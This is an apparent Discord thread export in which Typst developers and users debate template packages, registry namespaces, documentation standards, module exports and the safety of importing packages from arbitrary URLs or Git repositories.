#Packages, Templates

1 messages · Page 1 of 1 (latest)

hoary thunder
#

Regarding templates: @torpid lodge and I had already spec'ed out a relatively complete plan for templates as packages. Here's the draft:

  • Packages can include one or more templates.
  • Templates are a set of files in a folder that a new project using this package is initialized with.
  • Packages specify templates in a templates array in their typst.toml. A package dictionary in this array specifies the name of the template, the directory for its files, a description, and from which page to take the screenshot. The directory is required, the name is required if the package has more than one template.
  • Typst users will be able to initialize new projects with typst init <template> in the CLI or the template storefront in the web app
  • The template directories will be automatically excluded from the package.
  • The template files and thumbnails will be served on packages.typst.org alongside the packages
  • For packages with multiple templates, the first template will be the default template
#

I don't think it makes sense to have a "@templates" or "@tables" namespace. Namespaces should more be seen as a way to group by author or organization than by topic. We can use keywords or labels for the rest. In particular, templates would already be distinct by presence of the templates key in the manifest.

main thicket
hoary thunder
#

We also had some ideas for the future of package distribution beyond @preview, but it's still very much in-flux. The rough idea is as follows:

  • Packages in a new root registry (that supersedes @preview) must adhere to higher standards (docs, test, APIs, screenshots-wise etc.). These packages must continue to follow the creative naming rules.
  • Packages in the root namespace will be advertised in a new storefront with screenshots, description, etc.
  • (Maybe) Organizations like publishers or universities could claim namespaces through a manual review process that checks they have a reasonable ownership claim for that namespace. Namespaces packages do not need to follow the creative naming rules. This would mostly be for things like official publisher templates.
  • In turn, packages can be imported from arbitrary git repositories. The web app will use a reverse proxy through typst.org. There will be configuration whether to (a) not allow any network access (not even the main registry), (b) always ask before downloads, (c) only ask for non-trusted downloads (i.e. git), which would be the default, (d) allow all downloads.
  • Git packages can be submitted for inclusion in a list that aids discoverability. This doesn't involve manual review, only some basic automated safety checks.

The basic idea is that people can experiment with packages and provide less widely used packages as Git repositories with no stability guarantees (but the option to pin to a tag or hash). Packages that 'stick' can then be submitted to the root namespace. The root namespace will have good discoverability and high quality of packages (unlike crates.io). But still, everybody can have the flexibility to make a package easily available via Git.

main thicket
#

I should clarify that I mean:

#import "@PgBiel/tablex:1.0.0"
#import "@PgBiel/tablex/tufte-header-styles:1.0"

Or something like that ofc

#

Not an extra namespace per package in the root

deep pewter
#

will template typst files have some syntax limit? If not, what is the difference between templates and packages?

past mist
#

One suggestion I mentioned at some point: packages are great, but there are some that are essential and some (the majority) which are either niche, cute little experiments or alternatives to existing ones.

IMO the largest problem with LaTeX packages is that there are too many, but the second largest is that there are too many incompatible ways of doing the same thing. And the third one is that discovering what the best one to use is a painstaking trial an error task. The time I've wasted on LaTeX comparing ways of using tables are weeks of my life I'm never getting back.

My suggestion is to make a selection of recommended packages (e.g. CetZ) and make this selection discoverable (ideas: create a showcase on the website, ship them by default). Diversity is great, and some of the niche packages are crucial for getting into specific academic domains, but I do believe Typst should try to retain some control over the ecosystem to keep shaping a competitive alternative to LaTeX.

(Edit: sorry, upon re-reading my comment, I realize it can be a bit off-topic in the current discussion. I chipped in because I think this idea raises an important pointabout package management and it could have an impact on namespaces)

deep pewter
#

Or I am missing the real template samples.

main thicket
#

Two packages I've made are currently hacks to provide things that I want to Ideally have support for in typst out of the box and I think this relates to the "cute little experiments" remark

#

While the package PR said that they won't be removed for good reason, at some point they will become obsolete

main thicket
past mist
hoary thunder
main thicket
torpid lodge
deep pewter
#

there may be some concept like interfaces for packages. for example, every typst table may have some common fields and compatible with std tables.

proven lake
torpid lodge
proven lake
#

maybe the root namespace/registry could be called "core" packages?

torpid lodge
#

We would allow multiple similar packages in the root registry so it does not fully map to the core packages concept

#

However, some will be featured more intensively than others

past mist
#

I missed that proposal while I was typing 😅 That sound great! I think the core idea could be emphasized by requiring some differentiator factor with existing packages. When it comes to tables, having support for Markdown input (it was in the showcase earlier today) makes for a good case: it supports a standard format that many people are familiar with. But when you have two packages that differentiate in a couple of parameters or small features, you'd do best asking if the feature sets cannot be merged.

main thicket
#

I actually think something like the markdown table package both tablem and tbl are kinda of gimmicky

#

Not providing anything other than different syntax for something we have

#

While tablex solves a problem

#

Not to understate the work that was done there, just that they don't solve a problem in the same way tablex does

#

I see that as a fundamental difference in usefulness

past mist
#

I see your point, and I agree that I wouldn't call it core, but I've learned to value the ability of reusing content with minimal effort. If people have some tables in Markdown, it's nice to have the ability of using them in Typst without reformatting. For new tables, I agree: the value proposition is limited.

main thicket
#

I would actually prefer a tool that converts them (similar to pandoc) over copying tables over, but this is porbabaly personal preference

past mist
#

I do a lot of template work, and face a lot of people who wince at the sight of a monospace font and (ironically) would sooner deliver a document without any format rather than making any decision themselves. Must go great lengths to create workflows that don't stray too far from their current ones. (But this part of the conversation is going off-topic, so I'll leave it at that for now)

proven lake
#

is there a criteria for what should be built-in typst functionality versus a package?
posting that somewhere will help for deciding to create a feature request or a package

main thicket
#

It's usually the hard cut where a package cannot do it feasibly

#

Think how forms cannot be done without forms support, but a package could provide special types for readers that support js actions

#

If the underlying infrastructure isn't there, then it should be a feature

#

For things you can do but could be builtin it's probably a question of how common it is

torpid lodge
#

Honestly Typst should adopt most of the tablex feature set

#

It’s just that this is such a practical thing to have a workaround around the limits of the built-in table that we want to have a package in the meantime

jade canopy
# torpid lodge Honestly Typst should adopt most of the tablex feature set

tablex really is awesome and @undone minnow did a bang up job especially with some of the performance improvement he has done over the past few weeks/months, it's really great. The only reasons I can see for which it should be built in are:

  • Exposure: being built-in means everybody has "obvious" access to it
  • Performance: it's bound to be even faster and we can maybe integrate "smarter" features in there
  • One upping LaTeX: by having good tables built-in
undone minnow
#

from what I've spoken with Laurenz, there are concrete plans to upstream tablex features, but we will need to wait a bit

#

(who knows, maybe soon enough a Tables thread shows up in #1175885362065834105 👀 )

past mist
#

One upping LaTeX: by having good tables built-in
And, I cannot emphasize this enough: one way of doing so.

undone minnow
#

there will probably be a single standard for built-in tables

#

but that wont stop people from making their own packages 🙂

jade canopy
jade canopy
undone minnow
#

but still there are other table packages such as tbl tablem etc so yeah lol

jade canopy
#

in a fully uncontroversial way
Just be controversial 🤷‍♂️ ||/s||

#

You can't make an omelette without breaking a few eggs 👨‍🍳 🥚

past mist
# jade canopy I'm sorry I don't understand 😅

LaTeX has table, tabu, tabular, pgfplotstables, booktabs (guess which ones are full packages and which are nice additions that must play well with the others). No single package has all the features a table should support, the syntax is all over the place, and maintenance is, ahem, spotty.

I love the Typst built ins and love the fact that tablex uses a compatible notation, and have been worried to see other packages trying to come up with other implementations. I don't want to be so coercive as to say these packages have no right to exist, but having one built in way to do most common table-related wrangling is very high in my list.

jade canopy
jade canopy
#

And was always pretty underwhelmed by it

past mist
past mist
# jade canopy I must admit that I've only ever used tabular 💀

Tabu was the best of the batch (and, speaking about omelettes and eggs, highly opinionated), but the developer grew bored of it back in 2011. Up to today, I still have to deal with templates that use it because couldn't be bothered to migrate. For me, the T in PTSD stands for "Table"

jade canopy
#

P is picture, S is Underfull HBOX and D is Overfull HBOX

#

😂

past mist
#

To be fair, someone made one update in 2019. That started to break compilation in Windows 😅

image.png
#

(Also, if you ever feel bad about any guide you write, look at the tabu manual to cheer up)

jade canopy
#

Have you tried tabularray?

#

I have apparently used it in some reports 🤔

#

Not that I remember

past mist
#

Oooh A new one! 😅 The latest I tried was pgfplotstables, which despite the crazy name has some fancy features for reading data from files and presenting it neatly. I've been happy to see I can do a lot of that with tablex 😄

undone minnow
undone minnow
main thicket
#

I believe having a sane default for tables is also inline with how typst aims to have good defaults

jade canopy
#

Probably was part of the template I yonked

undone minnow
undone minnow
past mist
mild carbon
past mist
undone minnow
#

(on another note) me when I have no arrays 😔

image.png
bleak stratus
#

I have to admit that I didn‘t read through every single comment here
but after looking at the packages repo I wonder if it‘s long-term maintainable

#

can you really have the hopefully huge amount of packages in a single folder (or root as proposed above)?
also when you have new folders for new versions this will quickly become nearly unusable

#

so I think there should definitely be an option to install packages with a git url locally (so you have them offline)
it could either be project wise or globally local (so there is just one folder in eg .local/shared)
advantages and disadvantages are that with the former the folders just contain everything needed with the disadvantage that you have the same thing installed multiple times and at different places

#

what imo would be the best approach (but perhaps also quite complicated to implement) would be a dependencies file like cargo.toml or packages.json which can either use a git url or preferable a central registry like crates.io where people have to follow versioning and also some standards regarding examples and screenshots
packages would be installed globally somewhere and then would just be used from there
this would allow completely reproducable projects without having to bundle packages

gilded agate
bleak stratus
#

yes that‘s the problem

#

let‘s say we get half as many packages as ctan which would be 3000
github won‘t even display that many folders in the root folder
in a few years packages will perhaps have like 10 versions

#

there will be thousands of folders in that thing and also many on the same level

#

this will make things way less accesible

#

and how would you find a package for a certain thing?
you‘d need some kind of labling system

#

also there would be tons of prs which would always have to be merged by someone

#

many of those packages are also in github so they‘re at two places which already doesn‘t rly make sense imo

gilded agate
gilded agate
bleak stratus
#

package managing was a thing which I rly disliked in latex because imo it was rly intransparent

hoary thunder
hoary thunder
#

or npm

gilded agate
# bleak stratus i see how it would be great to have some quality standards for „official“ packag...

About 2-nd and 4-th: packages from Github will be much less discoverable and harder to install (need to copypaste URL instead of just typing name). Github packages have no guarantees of being still viable for this compiler version or being viable at all.

About being them too many — I don't think it will be a large problem. As there was highlighted already, there will be kind of "promoted" from selected packages for easier choosing. So you will easily find "the best choice", but if you will be able to search for other alternative packages, knowing they are good, they work and you can trust them.

gilded agate
bleak stratus
#

👍 hadn‘t encountered the webpage with the packages yet
looks rly good

my question is whether all packages are displayed there or just the ones which are according the guidelines

#

and do I understand that correctly that packages are automatically installed in a „cache“ when an import statement is encountered while compiling?

gilded agate
#

Yeah, see github page for packages.

gilded agate
bleak stratus
#

then that‘s all rly cool

hoary thunder
#

The stricter guidelines + git repo thing is still in proposal stage: #1176122103355953162 message

bleak stratus
#

there are just two things I miss

  1. labels for which you can search in the repo
  2. something like #import „@git/https://www.github.com/…“
    (or perhaps github namespace and just user/repo?)
gilded agate
hoary thunder
bleak stratus
#

just saw this while going through the packages
imo you definitely should avoid colorscheme packages

mild carbon
bleak stratus
#

it will take about 3 weeks and you got 10
3 months later 100

mild carbon
#

which is actually very useful

bleak stratus
#

that's rly usefull I agree

#

but not colorschemes like the one above imo

main thicket
#

I actually thought you meant the opposite

#

What you linked seems like something that would simply become a template or at least a template extension as it only changes the color of your doc

#

I don't think allowing these would be a problem just where you they would be allowed

#

not in the root namespace i think

bleak stratus
#

but not as package

bleak stratus
#

and it's kinda depressing to see a new onedark every month

main thicket
#

oh yeah i get that

#

like laurenz said the root namepsace will have higher standards for acceptance

#

I also think that curation is important

#

I pushed out a kinda unfinished package out, but i know that's fine as it's all just a preview namespace for now and i plant to actually add the rest of the functionality later

civic brook
main thicket
#

Hydra

#

I have some snippets for headings and chapters and such lying around that i want to add there

#

But its sprinkled across doc templates

civic brook
#

Ah I think I took a gander at that recently

bleak stratus
main thicket
#

I pushed it because the author of chic-header and I came to the conclusion that it doens't fit with his package API, but the people want that exect behavior

bleak stratus
#

👍

upper wolf
#

I don't like the idea of having all non-root packgaes (which from the sounds of it will be the majority of packages) only via git urls. I think only having to remember a name of a package is much more convenient than an entire url. How about having two package repositories, one core or just unnamed (which uses the root namespace) and one extra or community under a namespace of the same name. Sort of like Arch Linux's package management. The core repo would have the strict guidelines as discussed here before, and the extra repo would have guidelines similar to the current preview packages

bleak stratus
#

as far as I understand it that wouldn‘t be the case (all non root packages only with git)

main thicket
civic brook
#

Would it be worth discussing what requirements would form such a threshold?

#

Maybe pick a few existing packages at random and list what we'd want more of in their docs

main thicket
#

Well definitely extensive documentation comments for all public members

civic brook
#

Would it be worth taking a leaf out of Latexs book on how their packages are documented? I quite like the comments intermingled with the source code sections at the end

gilded agate
#

I think, first of all we need common documentation style for all the packages. Now there are like five different ways to document the package?

main thicket
#

Maybe it should mandate a common doc style that must be generated like with the tidy package

civic brook
#

Tidy is very nice but I think it needs some improvement before I'd have it as a hard requirement

main thicket
#

Yeah I just mean a common style

#

If every package has a different doc structure then it gets complicated fast

civic brook
#

It's also more annoying to write a doc when you don't have a how-to guide or common style as you say

main thicket
#

docs.rs is great for a reason and it's not the style itself, but that every package is automarically built there

ocean grove
main thicket
#

Doc comments are planned afaik

ocean grove
#

well yes

civic brook
gilded agate
#

I'm not sure about document in pdf style. I think the best would be something like docs.rs. Right now opening pdf manuals from Github is quite hard, and MD files are very limited.

ocean grove
#

doc comments are cool and good, but literally writing a document using the package.typ is what I wouldn't like to see

main thicket
#

Plus doc comments

gilded agate
#

Exactly, but, to be fair, I don't think we will have it soon...

civic brook
#

At this point it's probably worth noting that the tool that generated docs need not be written in typst necessarily

#

If MD export is a must-have, I'm sure we can put together an external tool

#

But if we do introduce external tooling, we probably need to prescribe package layout in terms of directories and scripts

ocean grove
civic brook
#

I haven't, thanks for the link!

main thicket
gilded agate
#

For example, you can't copy a code from there.

main thicket
civic brook
#

Very true

main thicket
#

I think MD docs are a no go for anything but very simple got packages

civic brook
#

Are we sure then that there is a one-size-fits-all solution?

main thicket
#

No, but the root namespace should have a guideline that should be followed

#

And typst can definitely display the docs for a typst package

gilded agate
#

But I agree, it is far from ideal.

main thicket
#

I think automarically generating a tidy like document and a web page reference would be ideal

civic brook
#

I suppose MD isn't strictly needed because GitHub isn't actually meant to be the frontend for finding packages, a storefront is planned

main thicket
#

And a package would be accepted if the doc generation checks that it has no dead links and all the necessary files to generate the docs

gilded agate
#

Also at that point we would probably need clippy.

main thicket
#

Ideally a user could typst doc and see how it looks before trying to get the package into the root namespace

gilded agate
#

There are often some stupid mistakes like stupid typos in existing packages.

main thicket
#

Cargo doc does dead link checking, clippy doesn't

main thicket
civic brook
#

I'm terrible at spotting typos even in my short discord messages. My condolences to people relying on my docs

gilded agate
#

I think it should be possible to analyse that there is no existing variable in some body function with that name. Maybe we could build that functionality into typst itself, though.

civic brook
#

Tidy does a good job at checking if documented arguments line up with function signature

main thicket
#

It also checks for dead links I assume?

#

But yeah this would be a typst doc thing that tidy would be one possible output style for

civic brook
#

I haven't tried

gilded agate
#

Also great thing would be auto-checking functions and variables case, I'm tired to see camelCase and snake_case in arguments in new packages.

main thicket
#

Yeah I think root namespace packages should at least adhere do this, but that's where we run into a problem

#

Math packages can't do this easily

civic brook
deep pewter
gilded agate
#

Wow, I should check it again.

deep pewter
#

I merged it to the main branch, but I haven't make a publish.

main thicket
#

I just wonder how math packages would solve this

#

My suggestion was to handle spacing the same as in markup mode

#

No spaces around a minus being part of the identifier and such

#

But people were not convinced apparently having no spacing in math is like a thing people do

deep pewter
#

I may prefer using an officially provided template for package documentation.
And then, we can have a docs.typst, but with a online customized pdf viewer, so that users don't have to download pdf files, and freely switch between versions.

#

A secondary solution is MD docs with embedded executable code blocks like rust, and docs.typst will also attach the output of that code blocks once after the code blocks.

#

I think the second solution is much cleaner, but It is not a pure typst solution. I will sadly have to use MD along with typst.

main thicket
#

Yeah im not convinced of using MD to document typst

#

Absolutely not convinced

#

As I said there are too many cases where you want to document something which the website would have to inline as an image because MD doesn't support it, needlessly complicating the doc building

#

And the syntax is similar but has subtle differences

deep pewter
#

Um, I have a strange thinking through my mind. There may be users don't use markdown but only typst (in future or even already).

main thicket
#

I rarely use MD already

#

And I would definitely use stuff incorrectly by accident

#

Like using asterisks for bold

#

It's italics in MD but bold in typst

upper wolf
# bleak stratus as far as I understand it that wouldn‘t be the case (all non root packages only ...

i'm not sure i was understood correctly. i know that the root namespace will be used for normal packages adhering to stricter guidelines. to me it just sounds like those guidelines will be quite strict and only allow a few select packages, which is why i proposed to add a second package repo called extra or community which has less strict guidelines (still stricter than the current preview guidelines though) and which can be accessed via a namespace of the same name. if i understood the strictness incorrectly this wouldn't be necessary. as a typst user i just don't want to have to resort to tons of git imports only because many of the packages i need won't be accepted in the official repo

bleak stratus
#

then we're talking about quite the same things.
What I meant is that some packages could live in the repo but not in the root like you proposed in the form of a second repo (that could also work)

Also I think/hope the guidelines won't be too strict. So everybody should be able to fullfill them with some effort (write some docs, examples etc)

torpid lodge
#

The paradigm we are aiming for is the Apple App Store: Review with humans in the loop to make sure that the apps feel native on the platform, conform to best practices, and ultimately make the platform better.

bleak stratus
#

really like that idea

bleak stratus
#

just thought about sth
you should still encourage package authors to have a separate repo where people can open issues (and then ofc link to that somewhere)

mild carbon
bleak stratus
#

just because I couldn't easily find the repos for some packages

mild carbon
#

they don't all point to a repo, but most do

#

The question is whether it should be optional or not. Without a repo there's nowhere for users to report bugs for instance

bleak stratus
#

I think it should be mandatory

mild carbon
#

An absolute minimum should be contact details for the developer

main thicket
#

Somethig that has been talked about before but I can't remember where, private declarations

#

I think we definitely need a way to hide specific parts of a package's declared items so they'e not imported when the package is imported

#

or more generally for modules

mild carbon
#

Or explicitly declare which things are exported

main thicket
#

yeah i defo like that one more but it breaks more things

#

then again, i think we shouldn't shy away from those things when we can ship typst fix and helpful messages for specific versions to mitigate those things

#

a large breaking change that can be fixed automatically like exporting all things in each module should not be seen as problematic ont he same level as a change that has more impact on program behavior

undone minnow
#

sounds more ergonomic

robust zodiac
ocean grove
main thicket
#

this is what i did so far for anti-matter, but got to lazy for on hydra lol

#

especially when I import other packages and I don't want them to show up in my packages's modules

#

people don't need oxifmt to show up in every submodule just because i use it for error reporting

hoary thunder
#

there will be a bunch of breaking changes in the future, but breaking every single package seems a bit unfortunate to me

#

if we really think we need to, there should at least be a grace period with the only-on-explicit-use approach

mint shoal
#

As I understand it, the root namespace will mean being able to do things like #import "cetz": canvas, should CeTZ adhere to the supposed stricter standards. Something I'm not sure I see fully clarified here: is this "root" a namespace, or a registry? I see both "root registry" and "root namespace" in #1176122103355953162 message. Is there a difference for Typst, or are both words being used interchangeably?

I'm asking because of a specific use-case: say my university wants to use Typst: would they be able to host their own package registry altogether? I know of a few schools that self-host their own GitLab instance, for example, and they give students and staff usernames under that instance (I might be @mbrown, or something). If I develop a package for my department, but the wonderful world of university bureaucracy enforces that I keep it on a private, on-premises server, could I have all the professors/students in my department "add" https://compsci.trentu.ca/registry (either to their Typst installation or to their individual projects) to allow them to import @mbrown/compsci-stuff:0.1.3? Obviously, that exact syntax wouldn't quite work—you'd need some way to specify "package X from namespace Y in internal registry Z" over "package X namespace Y from the root Typst registry"—but you get what I mean. 😄

NPM, for example, lets you self-host a registry on your own server, and you can then publish to that registry under a scope just like it was the public one. Installing from a private registry requires some additional things in *.json files or .*rc files, however—and it seems like adding config files to projects is something that we're trying to avoid (#1176122103355953162 message).

#

The original message mentions organizations and universities claiming namespaces, but that wouldn't be very helpful if the university wants to self-host their packages. Of course, university packages could be stored on a self-hosted GitLab or something, and then imported with a Git URL, but it would be far nicer to be able to tell students to import @profname/math-2560h than to import from a Git URL.

main thicket
mint shoal
#

In NPM?

main thicket
#

yeah

#

I think someone has infact made a fork that uses a custom registry arleady somewhere

#

(for typst)

mint shoal
#

It can be set system- or user-wide with a config command (or ~/.npmrc or something), and individual packages can be imported from a registry by npm install --registry ... package-name. But I'm not sure what that installed package would look like in package.json... I don't have a private registry to test it with

(correction) You can:

  • Change the registry config option, which will cause NPM to install all packages from the given registry. Config options are given either by environment variables, .npmrc, and sometimes package.json. npm config set updates user-level .npmrc by default, but it can also do project- or global-level config.
  • Associate a scope with a registry by scoping the registry config option: npm config set @trentu:registry https://compsci.trentu/npmjs.
  • Associate a scope with a registry when you log into the registry: npm login --scope=@trentu https://compcsi.trentu.ca/npmjs.
#

I couldn't find a ton of reading on fully private/self-hosted registries, since NPM mostly avoids the requirement by using Git URLs. The difference with their approach to Git URLs is that you specify the URL once in your package.json and provide a name for the package. That approach wouldn't be compatible with Typst's "no config files" goal.

mint shoal
#

I don't think it would be too crazy to do private/self-hosted registries via user config, though—since it would probably almost always be a part of initial setup/installation and not a per-project thing. 🤔
But really I'm just asking if this'd be a possibility / clarifying if Typst will have namespaces and registries. For most simple cases, importing from a Git URL is totally adequate. 🙂

ornate geyser
undone minnow
#

when you write your template.typ, users would be surprised when they cant import their functions elsewhere

#

as in, oftentimes what users want is to export everything

#

in other words, pragmatically and practically speaking, for Typst it might make more sense to follow such a model

#

even though I agree that, in general, it's better to be as explicit as possible

robust zodiac
#

Maybe Typst should provide a statement to declare whether the file is a package (hence exports must be explicit), or otherwise an ordinary file where everything is exported by default. That package declaration statement at the file beginning could also be used to encode info like package name, version, and license etc.

hoary thunder
jade canopy
#

It should be very easy to implement in both the CLI and the webapp

#

and I wouldn't mind doing the CLI part

#

(in fact I'd love to)

hoary thunder
#

Do you have a link?

jade canopy
#

Making it into a cate that can easily be used in the webapp

jade canopy
#

#discussions message

#

Essentially using a templating languages (and there are tons)

#

then defining a schema in your typst.toml of what each argument is, what type it is, etc.

#

and then template every file

#

and in the cli you'd do typst new {git-repo/typst package} and you'd get an interactive setup

hoary thunder
#

I think it doesn't make sense to have that before we have template support at all

jade canopy
#

And the webapp would use the schema and image to generate the setup menu

#

Well it would go hand-in-hand obviously

hoary thunder
#

So, the order would be:

  1. Template packages
  2. Typst new/init
  3. Maybe schemas
#

And we need to decide on the final design for template packages first

jade canopy
hoary thunder
#

Our proposal is the first message here, but there were some good points in the discussion below

jade canopy
#

I mean overall I am all in favour of it 🙂

hoary thunder
jade canopy
hoary thunder
#

Cool yes

#

But one step at a time :)

jade canopy
#

and typst-template could be a crate that doesn't depend on typst at all so that it can be split up for the webapp 😄

hoary thunder
#

That would mean a separate wasm blob though

#

I think it should be easy enough to build in JS too

jade canopy
#

but that's you're cup of tea 😄

#

btw, couldn't templates just be done with a

[template.template0]
name = "My Fancy template"
includes = [ ... ]
#

type structure in the typst.toml?

hoary thunder
#

That's more or less the proposal

jade canopy
#

and then you could have a schema field in there to define the schema 😄

mild carbon
#

The package list is already a bit unwieldy, it would be good to have more filtering and sorting capability

undone minnow
#

one unfortunate consequence of the creative names rule is that it's often hard to find the package for what you need

#

so adding keywords like #tables #formatting etc would be nice

mild carbon
#

also usage statistics, time since the last update

undone minnow
#

well thats a bit harder to do

#

keywords would just require a change in typst.toml

mild carbon
#

well, presumably they have access to traffic data that could be used to rank them by popularity

proven lake
#

listing the packages under categories would be helpful for discovering packages you might need (styling, layout, graphics, etc.)

mild carbon
#

it's hard to categorize packages cleanly, but keywords should be doable

proven lake
#

yeah, like tags/labels. for the filtering.

hoary thunder
#

they are also taken into account when searching

#

they are just not shown so far

undone minnow
#

oh 🤔

#

i'll be adding some for the next tablex update lol

main thicket
#

You know what i just thought about

#

single file dependencies are cool and all

#

but i tould be really nice if we still had the option to select the version of a package once in a typst.toml and use that in the whole project

#

one way to get around it is to import "@preview/package:version" in A.typ and import "A.typ": package in ther files

#

but that seems so

#

dirty

hoary thunder
#

I don't think it's necessarily dirty. It is more flexible than a TOML file and works out of the box.

main thicket
#

As long as i can somehow not export those modules then wihtout importing them within my functions scopes everytime I'm fine with that too

robust zodiac
#

you know, we human tend to be very creative at making mistakes.. if there's a way to do things wrong, some people will do it

main thicket
robust zodiac
#

I mean, what about the third file?

main thicket
#

the one it imported itself

#

what ever was importd in A

robust zodiac
hoary thunder
#

some discussion: #quick-questions message

civic brook
#

aha ninja'd, I was typing it all out ^^

hoary thunder
#

what is mocha actually?

civic brook
#

Mocha is a javascript testing framework. You call functions like describe which encapsulates tests of a module/class/etc, which takes a lambda containing further describe calls or it calls. for example, it("should not panic", function(){ panic("this would fail") }

hoary thunder
#

ah, yes, the describe thing

civic brook
#

Will do, might not be today as I'm getting some stuff ready for a date 😊

main thicket
#

As James stated, I think try syntax is integral to packages for automation and assurance of quality, a package MUST succeed it's own test suit in CI before it can be merged

#

I wonder if that deserves a forge, I remember we had a thread for it

hoary thunder
#

I am not convinced that we need try for that

main thicket
#

It would definitely improve error handling and reporting for packages

hoary thunder
#

Even if you don't like the error comments of the current test runner, you can still do some other annotation for tests

#

(Rust also has should_panic)

main thicket
#

I try my best to guard a user from giving the wrong inputs, but sometimes i know what error can occur and i would love to catch it and clarify how the user can fix it, but can't currently

#

I should've mentioned that my motivation is more so error reporting than testing

#

I think the test runner comments are fine actually

hoary thunder
#

My main concern with try is compatibility. If you can catch anything, then much more things become a breaking change. This is amplified by the fact that there is no distinction between compile time and run time.

main thicket
#

If you can catch anything, then much more things become a breaking change.
can you elaborate on this, I don't quite understand what you mean by that

hoary thunder
# main thicket > If you can catch anything, then much more things become a breaking change. can... 
try {
  foo()
  panic("Foo was ok :(")
} catch {
  [Foo failed :)]
}

This essentially flips the errors: Any document that usually compiles fails and any document that usually fails, compiles. Non-breaking changes typically increase the amount of documents that compile and don't affect documents that already compiled. But, with try-catch, this isn't the case any more because a document can start failing because an error was not thrown. If there's was a compile time, at least you could only catch runtime errors and not type mismatches etc. But in Typst there isn't. This feels like too much power for my liking, even if most people wouldn't write that code.

#

And then, there is also the fact that the interaction of try-catch and context/locate would be quite hard to get right.

main thicket
#

hmm i see

#

I don't have any arguments for it at this moment either, other than imporived ergonomics for eror ahndling, but i have another idea that i pitched beforehand, won't derail the topic here though

hoary thunder
#

I can open a forge anyway if you want

main thicket
#

if so I wanna check the thread first, because it's more so handling none too

#

which was also discussed there i think

civic brook
#

It("should throw") tests

main thicket
#

Well the testing framework would do this too

sharp birch
#

This "feature" is pretty big to say the least. To be honest the amount of questions an uncertainties is scaring. But I only want to add a couple notes to the discussion.

  1. https://packages.typst.org/preview/{package}-{version}.tar.gz
    *I’d just like to interject for a moment.* I would like to propose zstd and 7z. The first one is the best in performance/compression, but 7z is still always (or sometimes) has a better compression, but performance isn't that great. I personally use either .zip or .tar.zst.

  2. About CLI template initialization: typst init <template>.
    I initially thought and still think that the best CLI UX is to just do typst init and that's it. Everything else from there forward is a descriptive and concise Q&A with a program. As a CLI+Neovim enjoyer I can say that not all interactive CLI "Q&A"s are good. One of the obvious mistakes is the lack of support for VIM-like interaction (hjkl, Ctrl+U, Ctrl+W etc.). But the point is that I've tried some Python interactive libraries and have found a good one for Rust, that I've used a couple of times: dialoguer. When I search for a good library I think I have only found 2 (and this is one of them). And the only downside that I quickly noticed is the absent of customizable shortcuts (like in inquirerpy in Python). But other than that I think they are cool. But of course support for non-interactive initialization must exist as well.
fresh vault
#

Hi there,

I have opened a discussion on github regarding using deno style imports (formally js-modules) in deno: https://github.com/typst/typst/discussions/2658 . I have a working prof of concept at https://github.com/didiercrunch/typst/tree/import-url which works (see details in github discussion). Tell me what you think about this

GitHub
Adding support to specify import location via URLs · typst typst · ...

Before introducing my formal proposal, allow me to contextualize it. I have been teaching a couple of classes lately and I have been using typst to write all my documents. I have many documents in ...

GitHub
GitHub - didiercrunch/typst at import-url

A new markup-based typesetting system that is powerful and easy to learn. - GitHub - didiercrunch/typst at import-url

fresh vault
#

By reading the discord thread, I realized that typst wants a zero config approach. Which removes the possibility of have an npm style cli. Personally, I totally agree with this.

As I understand, the current way typst packages works is by specifing the package to use in the import declaration. For example, #import "@preview/acrostiche:0.3.0": * will fetch all function from acriostiche. The location of the global repository is hardcoded in typst source code^1. The cool thing about this implementation is that it handles diamond dependencies in the appropriate way.

My proposal is built on top of http and is kind of aiming at getting away with a central repository. It currently supports open github/gitlab repositories by using raw.github.com or jsdelivr to host the files on an http server.

Even if I am the author of the proposal, I am not certain that I vote to include this feature in typst. I believe the goal should be to make it trivial to use a package (or file) in a private git repository. Perhaps specifying files in git repositories using a little dsl such as github@didiercrunch/typst-repo:9795dd7/foo/bar.typ is a decent solution. On the otherhand, creating a little dsl for specifing a location on a server should be called stupid for some as URL already exists.

GitHub
packages/packages/preview/acrostiche/0.3.0 at main · typst/packages

Packages for Typst. Contribute to typst/packages development by creating an account on GitHub.

GitHub
typst/crates/typst-cli/src/package.rs at 2d1c1747f7a7485f009e63ac17...

A new markup-based typesetting system that is powerful and easy to learn. - typst/typst

bleak stratus
#

imo people should explain why they picked their unique name for the package

#

would be quite interesting

#

and I need to know 😄
I always google things if I can' figure it out or it isn't written

sharp birch
bleak stratus
#

nw I use duck duck go

sharp birch
fresh vault
#

My two cents here:

In priority order, here are the requirements I see:

  1. I believe a lot of people will to share code without publishing it to the world. For instance, I am currently teaching at cégep (what erver it is) and I would like to make an exam's template for my department. I do not want to publish that to the world.
  2. Personally, I see value in not having a single point of failure as a centralize repository is. Maintaining this will hard and expansive.
  3. I like the "zero" config approach typst took and I would love to stick to it.
  4. I acknowledge that many people will want to share code without making it public in any fashion. For instance, a team in a private company would want to use typst but and share "stuff" between then without ever making it public
  5. Personally, I use nix to build my documents and I cannot random stuff at build time

My proposal:

Personally, I believe we should copy what deno does. Let's add support to include URL in imports such as in https://github.com/typst/typst/discussions/2658 . It will solve issue 1 and 2. Issue 4 can be solve by passing auth token in environment variable in a similar fashion than deno https://docs.deno.com/runtime/manual/basics/modules/private. Here we add some configuration (bad for point 3) but I do not see how we can login private services without any configuration. Finally, point 5 can be solve by using import-map. Deno's rust implementation of import-map can be use here.

None proposal:
I am not at all proposing to remove current packages. Actually, I like them a lot and I believe we should have a registry of public module to create the best document ecosystem in the world.

Implementation:
I can implement all that.

GitHub
Adding support to specify import location via URLs · typst typst · ...

Before introducing my formal proposal, allow me to contextualize it. I have been teaching a couple of classes lately and I have been using typst to write all my documents. I have many documents in ...

hoary thunder
# fresh vault My two cents here: In priority order, here are the requirements I see: 1. I ...

A concern I have about URLs (and also Git repositories other than GitHub and GitLab) is that it would give the ability to exfiltrate information through the URL by reading a file from the system, base64-encoding it and putting that in the URL. Typst forbids reading outside of the project root, but people might still compile something in their home directory or in another directory with sensitive information. Asking in the shell before downloading helps with that, but people are also quick to just press ok. We have taken great care so far to make it not necessary for people to audit packages before using them and I don't want to give that up.

#

One possible attempt at fixing this might be to not allow dynamic repository URLs, only string literals.

fresh vault
#

Absolutly! import strings must litterals such as in js module

#

this is a major issue with commonJS

#

and we should only support http and https (for now)

#

no file:// or othr protocols

main thicket
#

I don't think we should support http at all

hoary thunder
#

Right now, Typst import allows any dynamic string. Not sure whether we'd want to forbid this for import/include generally.

main thicket
#

only https

fresh vault
#

